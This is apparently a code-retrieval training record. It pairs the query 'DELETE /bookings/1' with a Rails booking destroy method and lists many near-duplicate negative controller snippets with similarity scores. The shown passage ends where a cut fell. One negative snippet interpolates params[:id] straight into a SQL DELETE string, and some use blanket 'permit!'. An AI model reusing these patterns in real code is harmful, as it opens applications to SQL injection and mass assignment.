[ "0.70660025", "0.7035505", "0.6951961", "0.69296867", "0.69296867", "0.69296867", "0.6925516", "0.68727815", "0.67891777", "0.6737531", "0.67097384", "0.66938263", "0.66938263", "0.66938263", "0.66782904", "0.66559863", "0.66393423", "0.66337067", "0.6626812", "0.6624749", "0.6619827", "0.66093636", "0.66093636", "0.66093636", "0.66093636", "0.66093636", "0.66093636", "0.66093636", "0.66093636", "0.66093636", "0.66093636", "0.66093636", "0.66093636", "0.66082895", "0.65981305", "0.6595154", "0.6593476", "0.65934265", "0.659084", "0.6584183", "0.6584166", "0.6561052", "0.65553087", "0.65322477", "0.6529612", "0.6523589", "0.6515063", "0.6515063", "0.6515063", "0.6515063", "0.6515063", "0.6515063", "0.6515063", "0.6515063", "0.6515063", "0.6507954", "0.64862746", "0.64797735", "0.64761007", "0.6454814", "0.6449431", "0.64331555", "0.64331055", "0.643187", "0.6429618", "0.64226043", "0.6413251", "0.64013135", "0.63997084", "0.63967204", "0.63967204", "0.6392915", "0.63899714", "0.63899714", "0.63899714", "0.63899714", "0.63848686", "0.63805646", "0.6373867", "0.6373513", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871", "0.6372871" ]
0.0
-1
DELETE /bookings/1 DELETE /bookings/1.json
def destroy @booking.destroy end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :ok }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to '/bookings' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: t('.success') }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_index_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to admin_bookings_url, notice: 'Bookingen er nu slettet.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: \"Booking was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: \"Booking was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n book = Book.find(params[:id])\n book.destroy\n \n render json: {}, status: 204\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n \n format.json { render json: @book, status: :created, location: @book }\n end\n end", "def destroy\n @api_book.destroy\n\n head :no_content\n end", "def destroy\n @booking = @room.bookings.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to property_room_bookings_url(@property, @room) }\n format.xml { head :ok }\n end\n end", "def destroy\n sql = \"DELETE FROM Booking WHERE bookingId = #{params[:id]}\"\n ActiveRecord::Base.connection.execute(sql)\n\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n\n head :no_content\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n \n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bidding = Bidding.find(params[:id])\n @bidding.destroy\n\n respond_to do |format|\n format.html { redirect_to biddings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to profile_bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url }\n end\n end", "def destroy\n @book_shelf = BookShelf.find(params[:id])\n @book_shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to book_shelves_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bookable.destroy\n respond_to do |format|\n format.html { redirect_to bookables_url, notice: 'Bookable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html do\n redirect_to bookings_url,\n notice: 'Booking was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @bookalawn.destroy\n respond_to do |format|\n format.html { redirect_to bookalawns_url }\n format.json { head :no_content }\n end\n end", "def delete_bookings()\n sql = \"DELETE FROM bookings\n WHERE bookings.member_id = $1\"\n values = [@id]\n SqlRunner.run(sql, values)\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to static_pages_new_booking_enquiry_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n respond_with(@booking)\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to options_path, notice: 'Booking was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to hairdresser_bookings_path(@hairdresser), notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end \n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @book = Book.find(params[:id])\r\n @book.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to books_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @guestbook = Guestbook.find(params[:id])\n @guestbook.destroy\n\n respond_to do |format|\n format.html { redirect_to guestbooks_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @book = Book.find(params[:id])\r\n @book.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to books_url }\r\n format.json { head :ok }\r\n end\r\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to portal_bookings_url, notice: 'booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to user_bookings_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @businessbook = Businessbook.find(params[:id])\n @businessbook.destroy\n\n respond_to do |format|\n format.html { redirect_to businessbooks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to home_path, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @fg_booking.destroy\n respond_to do |format|\n format.html { redirect_to fg_bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @title = \"Destroy Book\"\n\n # @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end\n end", "def delete\n api_delete(\"/listings/#{@listing_id}\")\n end", "def destroy\n booking = Booking.find(params[:id])\n\n # Check if user is the owner of the booking\n if current_user[:id] == booking[:user_id]\n if booking.destroy\n render json: { status: 'SUCCESS', message: 'Deleted booking', data: booking }, status: :ok\n else\n render json: { status: 'FAILURE', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end\n end", "def destroy\n @tblbooking.destroy\n respond_to do |format|\n format.html { redirect_to tbl_bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_booking = TestBooking.find(params[:id])\n @test_booking.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_bookings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tablebooking.destroy\n respond_to do |format|\n format.html { redirect_to tablebookings_url, notice: 'Tablebooking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.xml { head :ok }\n format.json { head :no_content }\n end\n end", "def destroy\n @book_progress.destroy\n respond_to do |format|\n format.html { redirect_to book_progresses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n booking = @booking\n @booking.destroy\n respond_to do |format|\n flash[:success] = \"Your Booking was Cancelled Successfully\"\n format.html { redirect_to bookings_url}\n format.json { head :no_content }\n end\n end", "def destroy\n @booking_status.destroy\n respond_to do |format|\n format.html { redirect_to booking_statuses_url, notice: 'Booking status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: 'Book was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: 'Book was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @book_step = BookStep.find(params[:id])\n @book_step.destroy\n\n respond_to do |format|\n format.html { redirect_to book_steps_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bidding.destroy\n respond_to do |format|\n format.html { redirect_to biddings_url, notice: 'Bidding was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if @booking.destroy\n respond_to do |format|\n format.html { redirect_to grounds_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end", "def destroy\n @bookkeeping.destroy\n\n head :no_content\n end" ]
[ "0.7660707", "0.7660707", "0.7660707", "0.7660707", "0.7657568", "0.7565737", "0.75498253", "0.75498253", "0.739592", "0.7359668", "0.7359668", "0.729106", "0.72711414", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724865", "0.724861", "0.72474027", "0.7243795", "0.7243795", "0.7240045", "0.72398716", "0.72395927", "0.72278243", "0.72186166", "0.7204612", "0.71994567", "0.71873736", "0.7173599", "0.7169725", "0.7169493", "0.7155298", "0.7153458", "0.7148876", "0.7145432", "0.71424234", "0.7140181", "0.7140181", "0.7140181", "0.7140181", "0.7140181", "0.7140181", "0.7140181", "0.7140181", "0.7140181", "0.7140181", "0.7140181", "0.7140181", "0.71385974", "0.71385974", "0.713271", "0.71215683", "0.7104804", "0.70873666", "0.7085463", "0.7085463", "0.7085463", "0.7085463", "0.7085463", "0.7085463", "0.7085463", "0.70769304", "0.7074334", "0.706808", "0.70601404", "0.7051713", "0.70437735", "0.70330614", "0.70199597", "0.7010398", "0.7006443", "0.7005126", "0.6986635", "0.69730276", "0.69596344", "0.6955844", "0.6954383", "0.6953511", "0.69530857", "0.6951499", "0.6951499", "0.69402784", "0.6934259", "0.6922136", "0.69216913" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_booking @booking = Booking.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def set_actions\n actions :all\n end", "def define_action_helpers?; end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup_handler\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def action\n end", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def after_set_callback; end", "def initialize(*args)\n super\n @action = :set\nend", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def around_hooks; end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def setup(&blk)\n @setup_block = blk\n end", "def default_action; end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def call\n setup_context\n super\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def duas1(action)\n action.call\n action.call\nend" ]
[ "0.61637366", "0.60446453", "0.59452957", "0.591511", "0.58885515", "0.5834122", "0.57761765", "0.5702554", "0.5702554", "0.5652102", "0.5619581", "0.5423898", "0.5409782", "0.5409782", "0.5409782", "0.5394745", "0.53780794", "0.5356209", "0.5338898", "0.53381324", "0.5328622", "0.5309231", "0.5296901", "0.529641", "0.5296097", "0.5258364", "0.5242683", "0.5236372", "0.5236372", "0.5236372", "0.5236372", "0.5236372", "0.52346426", "0.52320486", "0.5225926", "0.52210605", "0.52171826", "0.52138335", "0.5207914", "0.52069265", "0.5176269", "0.5174653", "0.51730466", "0.51650184", "0.5161409", "0.5156175", "0.5154185", "0.5151096", "0.5151089", "0.51452935", "0.5138662", "0.51339483", "0.5113475", "0.51132", "0.51132", "0.5108031", "0.51075375", "0.5090693", "0.50892115", "0.5081523", "0.5081454", "0.5064919", "0.50545585", "0.50531805", "0.50501585", "0.50501585", "0.50329936", "0.5024674", "0.50203156", "0.50156844", "0.50149846", "0.50011337", "0.4999346", "0.49984375", "0.4988749", "0.4988749", "0.49842322", "0.49800175", "0.4979922", "0.49791628", "0.49666047", "0.49655434", "0.49559638", "0.49557537", "0.49554902", "0.4953974", "0.49519545", "0.49449277", "0.49440357", "0.49329734", "0.49315402", "0.49261367", "0.4925912", "0.4925598", "0.4924306", "0.49202663", "0.49167567", "0.49164373", "0.4915191", "0.49145022", "0.49140996" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def booking_params params.fetch(:booking, {}).permit(:user_id, :seat_id, :start_at, :end_at) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def 